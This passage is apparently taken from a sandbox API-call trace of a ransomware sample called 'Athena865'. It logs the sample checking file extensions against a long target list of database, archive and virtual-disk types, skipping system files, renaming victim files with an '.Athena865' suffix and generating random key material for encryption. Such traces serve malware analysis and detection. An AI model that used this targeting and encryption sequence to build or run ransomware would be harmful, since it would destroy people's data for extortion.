lpString2="vmdk") returned -1 [0123.202] lstrlenW (lpString="rar") returned 3 [0123.202] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0123.202] lstrlenW (lpString="zip") returned 3 [0123.202] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0123.202] lstrlenW (lpString="tgz") returned 3 [0123.202] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0123.202] lstrlenW (lpString="vbox") returned 4 [0123.202] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0123.202] lstrlenW (lpString="vdi") returned 3 [0123.202] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0123.202] lstrlenW (lpString="vhd") returned 3 [0123.202] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0123.202] lstrlenW (lpString="vhdx") returned 4 [0123.202] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0123.202] lstrlenW (lpString="avhd") returned 4 [0123.202] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0123.202] lstrlenW (lpString="db") returned 2 [0123.202] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0123.203] lstrlenW (lpString="db2") returned 3 [0123.203] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0123.203] lstrlenW (lpString="db3") returned 3 [0123.203] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0123.203] lstrlenW (lpString="dbf") returned 3 [0123.203] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0123.203] lstrlenW (lpString="mdf") returned 3 [0123.203] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0123.203] lstrlenW (lpString="mdb") returned 3 [0123.203] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0123.203] lstrlenW (lpString="sql") returned 3 [0123.203] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0123.203] lstrlenW (lpString="sqlite") returned 6 [0123.203] lstrcmpiW (lpString1="2_.WMF", lpString2="sqlite") returned -1 [0123.203] lstrlenW (lpString="sqlite3") returned 7 [0123.203] lstrcmpiW (lpString1="82_.WMF", lpString2="sqlite3") returned -1 [0123.203] lstrlenW (lpString="sqlitedb") returned 8 [0123.203] lstrcmpiW (lpString1="382_.WMF", lpString2="sqlitedb") returned -1 [0123.203] lstrlenW (lpString="xml") returned 3 [0123.203] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0123.203] lstrlenW (lpString="$er") returned 3 [0123.203] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0123.203] lstrlenW (lpString="4dd") returned 3 [0123.203] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0123.203] lstrlenW (lpString="4dl") returned 3 [0123.203] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0123.203] lstrlenW (lpString="^^^") returned 3 [0123.204] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0123.204] lstrlenW (lpString="abs") returned 3 [0123.204] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0123.204] lstrlenW (lpString="abx") returned 3 [0123.204] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0123.204] lstrlenW (lpString="accdb") returned 5 [0123.204] lstrcmpiW (lpString1="_.WMF", lpString2="accdb") returned -1 [0123.204] lstrlenW (lpString="accdc") returned 5 [0123.204] lstrcmpiW (lpString1="_.WMF", lpString2="accdc") returned -1 [0123.204] lstrlenW (lpString="accde") returned 5 [0123.204] lstrcmpiW (lpString1="_.WMF", lpString2="accde") returned -1 [0123.204] lstrlenW (lpString="accdr") returned 5 [0123.204] lstrcmpiW (lpString1="_.WMF", lpString2="accdr") returned -1 [0123.204] lstrlenW (lpString="accdt") returned 5 [0123.204] lstrcmpiW (lpString1="_.WMF", lpString2="accdt") returned -1 [0123.204] lstrlenW (lpString="accdw") returned 5 [0123.204] lstrcmpiW (lpString1="_.WMF", lpString2="accdw") returned -1 [0123.204] lstrlenW (lpString="accft") returned 5 [0123.204] lstrcmpiW (lpString1="_.WMF", lpString2="accft") returned -1 [0123.204] lstrlenW (lpString="adb") returned 3 [0123.204] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0123.204] lstrlenW (lpString="adb") returned 3 [0123.204] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0123.204] lstrlenW (lpString="ade") returned 3 [0123.204] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0123.204] lstrlenW (lpString="adf") returned 3 [0123.204] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0123.204] lstrlenW (lpString="adn") returned 3 [0123.204] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0123.205] lstrlenW (lpString="adp") returned 3 [0123.205] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0123.205] lstrlenW (lpString="alf") returned 3 [0123.205] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0123.205] lstrlenW (lpString="ask") returned 3 [0123.205] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0123.205] lstrlenW (lpString="btr") returned 3 [0123.205] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0123.205] lstrlenW (lpString="cat") returned 3 [0123.205] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0123.205] lstrlenW (lpString="cdb") returned 3 [0123.205] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0123.205] lstrlenW (lpString="ckp") returned 3 [0123.205] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0123.205] lstrlenW (lpString="cma") returned 3 [0123.205] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0123.205] lstrlenW (lpString="cpd") returned 3 [0123.205] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0123.205] lstrlenW (lpString="dacpac") returned 6 [0123.205] lstrcmpiW (lpString1="2_.WMF", lpString2="dacpac") returned -1 [0123.205] lstrlenW (lpString="dad") returned 3 [0123.205] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0123.205] lstrlenW (lpString="dadiagrams") returned 10 [0123.205] lstrcmpiW (lpString1="00382_.WMF", lpString2="dadiagrams") returned -1 [0123.205] lstrlenW (lpString="daschema") returned 8 [0123.205] lstrcmpiW (lpString1="382_.WMF", lpString2="daschema") returned -1 [0123.205] lstrlenW (lpString="db-journal") returned 10 [0123.205] lstrcmpiW (lpString1="00382_.WMF", lpString2="db-journal") returned -1 [0123.206] lstrlenW (lpString="db-shm") returned 6 [0123.206] lstrcmpiW (lpString1="2_.WMF", lpString2="db-shm") returned -1 [0123.206] lstrlenW (lpString="db-wal") returned 6 [0123.206] lstrcmpiW (lpString1="2_.WMF", lpString2="db-wal") returned -1 [0123.206] lstrlenW (lpString="dbc") returned 3 [0123.206] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0123.206] lstrlenW (lpString="dbs") returned 3 [0123.206] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0123.206] lstrlenW (lpString="dbt") returned 3 [0123.206] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0123.206] lstrlenW (lpString="dbv") returned 3 [0123.206] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0123.206] lstrlenW (lpString="dbx") returned 3 [0123.206] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0123.206] lstrlenW (lpString="dcb") returned 3 [0123.206] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0123.206] lstrlenW (lpString="dct") returned 3 [0123.206] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0123.206] lstrlenW (lpString="dcx") returned 3 [0123.206] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0123.206] lstrlenW (lpString="ddl") returned 3 [0123.206] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0123.206] lstrlenW (lpString="dlis") returned 4 [0123.206] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0123.206] lstrlenW (lpString="dp1") returned 3 [0123.206] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0123.206] lstrlenW (lpString="dqy") returned 3 [0123.206] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0123.207] lstrlenW (lpString="dsk") returned 3 [0123.207] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0123.207] lstrlenW (lpString="dsn") returned 3 [0123.207] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0123.207] lstrlenW (lpString="dtsx") returned 4 [0123.207] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0123.207] lstrlenW (lpString="dxl") returned 3 [0123.207] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0123.207] lstrlenW (lpString="eco") returned 3 [0123.207] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0123.207] lstrlenW (lpString="ecx") returned 3 [0123.207] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0123.207] lstrlenW (lpString="edb") returned 3 [0123.207] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0123.207] lstrlenW (lpString="epim") returned 4 [0123.207] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0123.207] lstrlenW (lpString="fcd") returned 3 [0123.207] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0123.207] lstrlenW (lpString="fdb") returned 3 [0123.207] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0123.207] lstrlenW (lpString="fic") returned 3 [0123.207] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0123.207] lstrlenW (lpString="flexolibrary") returned 12 [0123.207] lstrlenW (lpString="fm5") returned 3 [0123.207] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0123.207] lstrlenW (lpString="fmp") returned 3 [0123.207] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0123.207] lstrlenW (lpString="fmp12") returned 5 [0123.208] lstrcmpiW (lpString1="_.WMF", lpString2="fmp12") returned -1 [0123.208] lstrlenW (lpString="fmpsl") returned 5 [0123.208] lstrcmpiW (lpString1="_.WMF", lpString2="fmpsl") returned -1 [0123.208] lstrlenW (lpString="fol") returned 3 [0123.208] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0123.208] lstrlenW (lpString="fp3") returned 3 [0123.208] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0123.208] lstrlenW (lpString="fp4") returned 3 [0123.208] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0123.208] lstrlenW (lpString="fp5") returned 3 [0123.208] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0123.208] lstrlenW (lpString="fp7") returned 3 [0123.208] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0123.208] lstrlenW (lpString="fpt") returned 3 [0123.208] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0123.208] lstrlenW (lpString="frm") returned 3 [0123.208] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0123.208] lstrlenW (lpString="gdb") returned 3 [0123.208] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0123.208] lstrlenW (lpString="gdb") returned 3 [0123.208] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0123.208] lstrlenW (lpString="grdb") returned 4 [0123.208] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0123.208] lstrlenW (lpString="gwi") returned 3 [0123.208] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0123.208] lstrlenW (lpString="hdb") returned 3 [0123.208] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0123.208] lstrlenW (lpString="his") returned 3 [0123.208] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0123.209] lstrlenW (lpString="ib") returned 2 [0123.209] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0123.209] lstrlenW (lpString="idb") returned 3 [0123.209] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0123.209] lstrlenW (lpString="ihx") returned 3 [0123.209] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0123.209] lstrlenW (lpString="itdb") returned 4 [0123.209] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0123.209] lstrlenW (lpString="itw") returned 3 [0123.209] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0123.209] lstrlenW (lpString="jet") returned 3 [0123.209] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0123.209] lstrlenW (lpString="jtx") returned 3 [0123.209] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0123.209] lstrlenW (lpString="kdb") returned 3 [0123.209] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0123.209] lstrlenW (lpString="kexi") returned 4 [0123.209] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0123.209] lstrlenW (lpString="kexic") returned 5 [0123.209] lstrcmpiW (lpString1="_.WMF", lpString2="kexic") returned -1 [0123.209] lstrlenW (lpString="kexis") returned 5 [0123.209] lstrcmpiW (lpString1="_.WMF", lpString2="kexis") returned -1 [0123.209] lstrlenW (lpString="lgc") returned 3 [0123.209] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0123.209] lstrlenW (lpString="lwx") returned 3 [0123.209] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0123.209] lstrlenW (lpString="maf") returned 3 [0123.209] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0123.209] lstrlenW (lpString="maq") returned 3 [0123.210] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0123.210] lstrlenW (lpString="mar") returned 3 [0123.210] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0123.210] lstrlenW (lpString="marshal") returned 7 [0123.210] lstrcmpiW (lpString1="82_.WMF", lpString2="marshal") returned -1 [0123.210] lstrlenW (lpString="mas") returned 3 [0123.210] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0123.210] lstrlenW (lpString="mav") returned 3 [0123.210] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0123.210] lstrlenW (lpString="maw") returned 3 [0123.210] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0123.210] lstrlenW (lpString="mdbhtml") returned 7 [0123.210] lstrcmpiW (lpString1="82_.WMF", lpString2="mdbhtml") returned -1 [0123.210] lstrlenW (lpString="mdn") returned 3 [0123.210] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0123.210] lstrlenW (lpString="mdt") returned 3 [0123.210] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0123.210] lstrlenW (lpString="mfd") returned 3 [0123.210] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0123.210] lstrlenW (lpString="mpd") returned 3 [0123.210] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0123.210] lstrlenW (lpString="mrg") returned 3 [0123.210] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0123.210] lstrlenW (lpString="mud") returned 3 [0123.210] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0123.210] lstrlenW (lpString="mwb") returned 3 [0123.210] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0123.210] lstrlenW (lpString="myd") returned 3 [0123.211] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0123.211] lstrlenW (lpString="ndf") returned 3 [0123.211] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0123.211] lstrlenW (lpString="nnt") returned 3 [0123.211] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0123.211] lstrlenW (lpString="nrmlib") returned 6 [0123.211] lstrcmpiW (lpString1="2_.WMF", lpString2="nrmlib") returned -1 [0123.211] lstrlenW (lpString="ns2") returned 3 [0123.211] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0123.211] lstrlenW (lpString="ns3") returned 3 [0123.211] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0123.211] lstrlenW (lpString="ns4") returned 3 [0123.211] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0123.211] lstrlenW (lpString="nsf") returned 3 [0123.211] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0123.211] lstrlenW (lpString="nv") returned 2 [0123.211] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0123.211] lstrlenW (lpString="nv2") returned 3 [0123.211] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0123.211] lstrlenW (lpString="nwdb") returned 4 [0123.211] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0123.211] lstrlenW (lpString="nyf") returned 3 [0123.211] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0123.211] lstrlenW (lpString="odb") returned 3 [0123.211] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0123.211] lstrlenW (lpString="odb") returned 3 [0123.211] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0123.212] lstrlenW (lpString="oqy") returned 3 [0123.212] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0123.212] lstrlenW (lpString="ora") returned 3 [0123.212] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0123.212] lstrlenW (lpString="orx") returned 3 [0123.212] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0123.212] lstrlenW (lpString="owc") returned 3 [0123.212] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0123.212] lstrlenW (lpString="p96") returned 3 [0123.212] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0123.212] lstrlenW (lpString="p97") returned 3 [0123.212] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0123.212] lstrlenW (lpString="pan") returned 3 [0123.212] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0123.212] lstrlenW (lpString="pdb") returned 3 [0123.212] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0123.212] lstrlenW (lpString="pdm") returned 3 [0123.212] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0123.212] lstrlenW (lpString="pnz") returned 3 [0123.212] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0123.212] lstrlenW (lpString="qry") returned 3 [0123.212] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0123.212] lstrlenW (lpString="qvd") returned 3 [0123.212] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0123.212] lstrlenW (lpString="rbf") returned 3 [0123.212] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0123.212] lstrlenW (lpString="rctd") returned 4 [0123.212] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0123.213] lstrlenW (lpString="rod") returned 3 [0123.213] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0123.213] lstrlenW (lpString="rodx") returned 4 [0123.213] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0123.213] lstrlenW (lpString="rpd") returned 3 [0123.213] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0123.213] lstrlenW (lpString="rsd") returned 3 [0123.213] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0123.213] lstrlenW (lpString="sas7bdat") returned 8 [0123.213] lstrcmpiW (lpString1="382_.WMF", lpString2="sas7bdat") returned -1 [0123.213] lstrlenW (lpString="sbf") returned 3 [0123.213] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0123.213] lstrlenW (lpString="scx") returned 3 [0123.213] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0123.213] lstrlenW (lpString="sdb") returned 3 [0123.213] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0123.213] lstrlenW (lpString="sdc") returned 3 [0123.213] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0123.213] lstrlenW (lpString="sdf") returned 3 [0123.213] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0123.213] lstrlenW (lpString="sis") returned 3 [0123.213] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0123.213] lstrlenW (lpString="spq") returned 3 [0123.213] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0123.213] lstrlenW (lpString="te") returned 2 [0123.213] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0123.213] lstrlenW (lpString="teacher") returned 7 [0123.213] lstrcmpiW (lpString1="82_.WMF", lpString2="teacher") returned -1 [0123.213] lstrlenW (lpString="tmd") returned 3 [0123.214] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0123.214] lstrlenW (lpString="tps") returned 3 [0123.214] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0123.214] lstrlenW (lpString="trc") returned 3 [0123.214] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0123.214] lstrlenW (lpString="trc") returned 3 [0123.214] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0123.214] lstrlenW (lpString="trm") returned 3 [0123.214] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0123.214] lstrlenW (lpString="udb") returned 3 [0123.214] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0123.214] lstrlenW (lpString="udl") returned 3 [0123.214] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0123.214] lstrlenW (lpString="usr") returned 3 [0123.214] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0123.214] lstrlenW (lpString="v12") returned 3 [0123.214] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0123.214] lstrlenW (lpString="vis") returned 3 [0123.214] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0123.214] lstrlenW (lpString="vpd") returned 3 [0123.214] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0123.214] lstrlenW (lpString="vvv") returned 3 [0123.214] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0123.214] lstrlenW (lpString="wdb") returned 3 [0123.214] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0123.214] lstrlenW (lpString="wmdb") returned 4 [0123.214] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0123.214] lstrlenW (lpString="wrk") returned 3 [0123.215] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0123.215] lstrlenW (lpString="xdb") returned 3 [0123.215] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0123.215] lstrlenW (lpString="xld") returned 3 [0123.215] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0123.215] lstrlenW (lpString="xmlff") returned 5 [0123.215] lstrcmpiW (lpString1="_.WMF", lpString2="xmlff") returned -1 [0123.215] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.Athena865") returned 73 [0123.215] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.216] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8424) returned 1 [0123.216] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.217] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.217] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.221] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.221] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.221] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.222] lstrcmpiW (lpString1="FD00397_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0123.222] lstrcmpiW (lpString1="FD00397_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0123.222] lstrcmpiW (lpString1="FD00397_.WMF", lpString2=".") returned 1 [0123.222] lstrcmpiW (lpString1="FD00397_.WMF", lpString2="..") returned 1 [0123.222] lstrcmpiW (lpString1="FD00397_.WMF", lpString2="windows") returned -1 [0123.222] lstrcmpiW (lpString1="FD00397_.WMF", lpString2="bootmgr") returned 1 [0123.222] lstrcmpiW (lpString1="FD00397_.WMF", lpString2="temp") returned -1 [0123.222] lstrcmpiW (lpString1="FD00397_.WMF", lpString2="pagefile.sys") returned -1 [0123.222] lstrcmpiW (lpString1="FD00397_.WMF", lpString2="boot") returned 1 [0123.223] lstrcmpiW (lpString1="FD00397_.WMF", lpString2="ids.txt") returned -1 [0123.223] lstrcmpiW (lpString1="FD00397_.WMF", lpString2="ntuser.dat") returned -1 [0123.223] lstrcmpiW (lpString1="FD00397_.WMF", lpString2="perflogs") returned -1 [0123.223] lstrcmpiW (lpString1="FD00397_.WMF", lpString2="MSBuild") returned -1 [0123.223] lstrlenW (lpString="FD00397_.WMF") returned 12 [0123.223] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00397_.WMF" | out: lpString1="FD00397_.WMF") returned="FD00397_.WMF" [0123.223] lstrlenW (lpString="FD00397_.WMF") returned 12 [0123.223] lstrlenW (lpString="Athena865") returned 9 [0123.223] lstrcmpiW (lpString1="0397_.WMF", lpString2="Athena865") returned -1 [0123.223] lstrcmpiW (lpString1="FD00397_.WMF", lpString2=".dll") returned 1 [0123.223] lstrcmpiW (lpString1="FD00397_.WMF", lpString2=".lnk") returned 1 [0123.223] lstrcmpiW (lpString1="FD00397_.WMF", lpString2=".ini") returned 1 [0123.223] lstrcmpiW (lpString1="FD00397_.WMF", lpString2=".sys") returned 1 [0123.223] lstrlenW (lpString="FD00397_.WMF") returned 12 [0123.223] lstrlenW (lpString="bak") returned 3 [0123.223] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0123.223] lstrlenW (lpString="ba_") returned 3 [0123.223] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0123.223] lstrlenW (lpString="dbb") returned 3 [0123.223] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0123.223] lstrlenW (lpString="vmdk") returned 4 [0123.223] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0123.223] lstrlenW (lpString="rar") returned 3 [0123.223] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0123.223] lstrlenW (lpString="zip") returned 3 [0123.224] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0123.224] lstrlenW (lpString="tgz") returned 3 [0123.224] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0123.224] lstrlenW (lpString="vbox") returned 4 [0123.224] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0123.224] lstrlenW (lpString="vdi") returned 3 [0123.224] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0123.224] lstrlenW (lpString="vhd") returned 3 [0123.224] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0123.224] lstrlenW (lpString="vhdx") returned 4 [0123.224] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0123.224] lstrlenW (lpString="avhd") returned 4 [0123.224] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0123.224] lstrlenW (lpString="db") returned 2 [0123.224] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0123.224] lstrlenW (lpString="db2") returned 3 [0123.224] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0123.224] lstrlenW (lpString="db3") returned 3 [0123.224] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0123.224] lstrlenW (lpString="dbf") returned 3 [0123.224] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0123.224] lstrlenW (lpString="mdf") returned 3 [0123.224] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0123.224] lstrlenW (lpString="mdb") returned 3 [0123.224] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0123.224] lstrlenW (lpString="sql") returned 3 [0123.224] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0123.224] lstrlenW (lpString="sqlite") returned 6 [0123.224] lstrcmpiW (lpString1="7_.WMF", lpString2="sqlite") returned -1 [0123.225] lstrlenW (lpString="sqlite3") returned 7 [0123.225] 